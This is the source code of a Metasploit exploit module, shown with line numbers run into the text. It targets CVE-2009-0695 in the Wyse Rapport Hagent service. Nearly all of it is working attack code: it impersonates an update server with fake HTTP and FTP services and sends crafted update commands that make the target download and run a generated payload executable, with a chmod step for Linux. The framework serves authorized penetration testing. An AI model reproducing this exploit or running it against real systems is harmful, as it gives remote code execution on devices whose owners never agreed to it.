Path: blob/master/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'timeout'67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::Remote::Tcp11include Msf::Exploit::Remote::FtpServer12include Msf::Exploit::EXE1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Wyse Rapport Hagent Fake Hserver Command Execution',19'Description' => %q{20This module exploits the Wyse Rapport Hagent service by pretending to21be a legitimate server. This process involves starting both HTTP and22FTP services on the attacker side, then contacting the Hagent service of23the target and indicating that an update is available. The target will24then download the payload wrapped in an executable from the FTP service.25},26'Stance' => Msf::Exploit::Stance::Aggressive,27'Author' => 'kf',28'References' => [29['CVE', '2009-0695'],30['OSVDB', '55839'],31['US-CERT-VU', '654545'],32['URL', 'http://snosoft.blogspot.com/'],33['URL', 'http://www.theregister.co.uk/2009/07/10/wyse_remote_exploit_bugs/']34],35'Privileged' => true,36'Payload' => {37'Space' => 2048,38'BadChars' => '',39},40'DefaultOptions' => {41'EXITFUNC' => 'process',42},43'Platform' => %w{win linux},44'Targets' => [45[ 'Windows XPe x86', { 'Platform' => 'win', }],46[ 'Wyse Linux x86', { 'Platform' => 'linux', }],47],48'DefaultTarget' => 0,49'DisclosureDate' => '2009-07-10',50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)5758register_options(59[60OptPort.new('SRVPORT', [ true, "The local port to use for the FTP server", 21 ]),61Opt::RPORT(80),62]63)64end6566def exploit67if (datastore['SRVPORT'].to_i != 21)68print_error("This exploit requires the FTP service to run on port 21")69return70end7172# Connect to the target service73print_status("Connecting to the target")74connect()7576# Start the FTP service77print_status("Starting the FTP server")78start_service()7980# Create the executable with our payload81print_status("Generating the EXE")82@exe_file = generate_payload_exe83if target['Platform'] == 'win'84maldir = "C:\\" # Windows85malfile = Rex::Text.rand_text_alphanumeric(rand(8) + 4) + ".exe"86co = "XP"87elsif target['Platform'] == 'linux'88maldir = "//tmp//" # Linux89malfile = Rex::Text.rand_text_alphanumeric(rand(8) + 4) + ".bin"90co = "LXS"91end92@exe_sent = false9394# Start the HTTP service95print_status("Starting the HTTP service")96wdmserver = Rex::Socket::TcpServer.create({97'Context' => {98'Msf' => framework,99'MsfExploit' => self100}101})102103# Let this close automatically104add_socket(wdmserver)105106wdmserver_port = wdmserver.getsockname[2]107print_status("Starting the HTTP service on port #{wdmserver_port}")108109fakerapport = Rex::Socket.source_address(rhost)110fakemac = "00" + Rex::Text.rand_text(5).unpack("H*")[0]111mal = "&V54&CI=3|MAC=#{fakemac}|IP=#{rhost}MT=3|HS=#{fakerapport}|PO=#{wdmserver_port}|"112113# FTP Credentials114ftpserver = Rex::Socket.source_address(rhost)115ftpuser = Rex::Text.rand_text_alphanumeric(rand(8) + 1)116ftppass = Rex::Text.rand_text_alphanumeric(rand(8) + 1)117ftpport = 21118ftpsecure = '0'119120incr = 10121pwn1 =122"&UP0|&SI=1|UR=9" +123"|CO \x0f#{co}\x0f|#{incr}" +124# "|LU \x0fRapport is downloading HAgent Upgrade to this terminal\x0f|#{incr+1}" +125"|SF \x0f#{malfile}\x0f \x0f#{maldir}#{malfile}\x0f|#{incr + 1}"126127pwn2 = "|EX \x0f//bin//chmod\xfc+x\xfc//tmp//#{malfile}\x0f|#{incr + 1}"128129pwn3 =130"|EX \x0f#{maldir}#{malfile}\x0f|#{incr + 1}" +131# "|RB|#{incr+1}" +132# "|SV* \x0fHKEY_LOCAL_MACHINE\\Software\\Rapport\\pwnt\x0f 31337\x0f\x0f REG_DWORD\x0f|#{incr+1}" +133# "|DF \x0f#{maldir}#{malfile}\x0f|#{incr+1}" +134# FTP Paramaters135"|&FTPS=#{ftpserver}" + "|&FTPU=#{ftpuser}" + "|&FTPP=#{ftppass}" + "|&FTPBw=10240" + "|&FTPST=200" +136"|&FTPPortNumber=#{ftpport}" + "|&FTPSecure=#{ftpsecure}" +137"|&M_FTPS=#{ftpserver}" + "|&M_FTPU=#{ftpuser}" + "|&M_FTPP=#{ftppass}" + "|&M_FTPBw=10240" +138"|&M_FTPST=200" + "|&M_FTPPortNumber=#{ftpport}" + "|&M_FTPSecure=#{ftpsecure}" +139# No clue140"|&DP=1|&IT=3600|&CID=7|QUB=3|QUT=120|CU=1|"141142if target['Platform'] == 'win'143pwn = pwn1 + pwn3144elsif target['Platform'] == 'linux'145pwn = pwn1 + pwn2 + pwn3146end147# Send the malicious request148sock.put(mal)149150# Download some response data151resp = sock.get_once(-1, 10)152print_status("Received: #{resp}")153154if not resp155print_error("No reply from the target, this may not be a vulnerable system")156return157end158159print_status("Waiting on a connection to the HTTP service")160begin161Timeout.timeout(190) do162done = false163while (not done and session = wdmserver.accept)164req = session.recvfrom(2000)[0]165next if not req166next if req.empty?167168print_status("HTTP Request: #{req.split("\n")[0].strip}")169170case req171when /V01/172print_status("++ connected (#{session.peerhost}), " + "sending payload (#{pwn.size} bytes)")173res = pwn174when /V02/175print_status("++ device sending V02 query...")176res = "&00|Existing Client With No Pending Updates|&IT=10|&CID=7|QUB=3|QUT=120|CU=1|"177done = true178179when /V55/180print_status("++ device sending V55 query...")181res = pwn182when /POST/ # PUT is used for non encrypted requests.183print_status("++ device sending V55 query...")184res = pwn185done = true186else187print_status("+++ sending generic response...")188res = pwn189end190191print_status("Sending reply: #{res}")192session.put(res)193session.close194end195end196rescue ::Timeout::Error197print_status("Timed out waiting on the HTTP request")198wdmserver.close199disconnect200return201end202203print_status("Waiting on the FTP request...")204stime = Time.now.to_f205while (not @exe_sent)206break if (stime + 90 < Time.now.to_f)207208select(nil, nil, nil, 0.25)209end210211if (not @exe_sent)212print_status("No executable sent :(")213end214215wdmserver.close()216217handler218disconnect219end220221def on_client_command_retr(c, arg)222print_status("#{@state[c][:name]} FTP download request for #{arg}")223conn = establish_data_connection(c)224if (not conn)225c.put("425 Can't build data connection\r\n")226return227end228229c.put("150 Opening BINARY mode data connection for #{arg}\r\n")230conn.put(@exe_file)231c.put("226 Transfer complete.\r\n")232conn.close233@exe_sent = true234end235236def on_client_command_size(c, arg)237print_status("#{@state[c][:name]} FTP size request for #{arg}")238c.put("213 #{@exe_file.length}\r\n")239end240241end242243244